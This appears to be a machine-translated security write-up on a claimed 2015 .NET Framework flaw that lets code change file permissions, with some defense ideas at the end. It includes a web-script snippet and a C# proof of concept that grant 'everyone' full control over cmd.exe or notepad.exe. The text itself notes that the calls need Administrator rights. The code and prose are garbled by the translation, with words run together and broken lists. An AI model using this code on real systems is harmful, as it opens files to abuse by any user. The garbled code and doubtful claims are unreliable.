qtva-2015-198545, wooyun-2015-104148. NET Framework arbitrary File Permissions Modify Vul

Catalog

1 . Description2. Effected Scope3. ExploitAnalysis4. Principle of Vulnerability5. Patch Fix

1. Description

This API vulnerability through the. NET framework allows an attacker to grant arbitrary program file execution permissions

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148https://butian.360.cn/vul/info/ qid/qtva-2015-198545

2. Effected Scope

2.03.53.5. 1  44.54.5. 1

3. Exploit Analysis

Try{     varStrpath:string ="C:\\windows\\temp\\cmd.exe", struser:string ="everyone"; /*The DirectoryInfo class, which exposes instance methods for creating, moving, and enumerating directories and subdirectories that cannot be inheritedHttps://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110). aspx*/    varDirinfo:System.IO.DirectoryInfo =NewSystem.IO.DirectoryInfo (strpath); /*GetAccessControl (): Gets the DirectorySecurity object that encapsulates the access control List (ACL) entry for the directory described by the current DirectoryInfo object to return a DirectorySecurity object, This object encapsulates the access control rules for this directoryHttps://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110). aspx*/    varDirsecurity:System.Security.AccessControl.DirectorySecurity =Dirinfo.        GetAccessControl (); /*Addaccessrule (FileSystemAccessRule): Adds the specified access control list (ACL) permissions to the current file or directoryhttps://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110). aspx public FileSystemAccessRule (identityreference identity, Filesystemrights FileSystem Rights, AccessControlType type) 1. Identity:system.security.principal::identityreference: Encapsulates a reference to a user account for IdentityReference object 2. One of the filesystemrights:system.security.accesscontrol::filesystemrights:filesystemright values that specifies the type 3 of the action associated with the access rule. One of the Type:system.security.accesscontrol::accesscontroltype:accesscontroltype values that specifies whether the operation is allowed or denied*/dirsecurity. Addaccessrule (NewSystem.Security.AccessControl.FileSystemAccessRule (struser, System.Security.AccessControl.Fil    Esystemrights.fullcontrol, System.Security.AccessControl.AccessControlType.Allow)); /*FileSystemAccessRule class: An abstraction that represents an access control entry (ACE) that defines an access rule for a file or directoryHttps://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110). aspx*/        //Setaccesscontrol: Applies the Access Control List (ACL) entry described by the DirectorySecurity object to the directory described by the current DirectoryInfo objectDirinfo.    Setaccesscontrol (dirsecurity); Response.Write (strpath+"\ t permissions added successfully!"); }Catch(x) {Response.Write (x.message);}

Relevant Link:

HTTPS://Msdn.microsoft.com/zh-cn/library/system.io.directoryinfo (v=vs.110). aspx

0x1:poc

usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;namespacepoc{classProgram {Static voidMain (string[] args) {            Try{String strpath="C:\\notepad.exe", struser ="everyone"; System.IO.DirectoryInfo Dirinfo=NewSystem.IO.DirectoryInfo (strpath); System.Security.AccessControl.DirectorySecurity dirsecurity=Dirinfo.                   GetAccessControl (); Dirsecurity. Addaccessrule (NewSystem.Security.AccessControl.FileSystemAccessRule (struser, system.se Curity.                    AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow                 )); Dirinfo.                Setaccesscontrol (dirsecurity); Console.WriteLine (strpath+"\ t permissions added successfully!"); }            Catch(Exception x) {Console.WriteLine (x.message); }        }    }} 

4. Principle of vulnerability

Use. NET, users can access the directory's Access Control list (ACL) through the following methods of the DirectorySecurity object

12

0x1:directorysecurity

The DirectorySecurity class defines how directory access is audited. This class is an abstraction of the potential Windows file security system (part of the System.Security.AccessControl namespace) in which each directory has a freely-determined ACL to control directory access. At the same time, a system ACL determines which access controls are audited. Use two classes to handle directory access and auditing separately

1 . FileSystemAccessRule2. FileSystemAuditRule

The Ilesystemaccessrule class represents an abstraction of a potential access control entry that is used to specify user accounts, the type of access provided (read, write, and so on), and whether a permission is granted or denied. At the same time, the class also specifies how access rules are passed to child objects. The FileSystemAuditRule class represents an ace that defines an audit rule for a file or directory
In order to add a new rule for a directory through the DirectorySecurity class, a new instance of FileSystemAccessRule and FileSystemAuditRule two classes is required

1. First parameter: Specifies that each user, group, or identity that applies the rule2. The second parameter: the Filesystemrights list, which specifies the actions that the user (specified by the first parameter) can take, contains many possible values, including1) Createdirectories2) Createfiles3) Delete4) FullControl5) ListDirectory3. Last parameter: Can be used to specify whether the user can perform the operation of parameter two. The list of AccessControlType includes two possible values1) allows2rejecting the third parameter for the FileSystemAuditRule class allows you to set the audit level from failure, none, or success in the AuditFlags list. The constructor of the FileSystemAuditRule class is overloaded, and this method is the most basic method

It is important to note that DirectorySecurity related APIs need to be called with Administrator privileges

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtmlhttp://www.wyxit.com/ Article/201501/6731.html

5. Patch Fix

The. NET framework and Java JVM are essentially the same, abstracting a layer of virtual machines on top of the operating system, allowing "intermediate bytecode" to run on a virtual machine for cross-platform
In the. NET Framework framework, if you need to invoke the operating system API to implement operating system functionality, you need to invoke the operating system API through the native API interface, which is via dll/so, so our defense scenario can be expanded in the following direction

1 the. NET Framework DIRECTORYSECURITYAPI involves the Nativa API for     1 ) SetSecurityDescriptorDacl    2) setfilesecurity control via DLL/Sohook 2 . Defense on the kernel-level execution path

Copyright (c) Little5ann All rights reserved

qtva-2015-198545, wooyun-2015-104148. NET Framework arbitrary File Permissions Modify Vul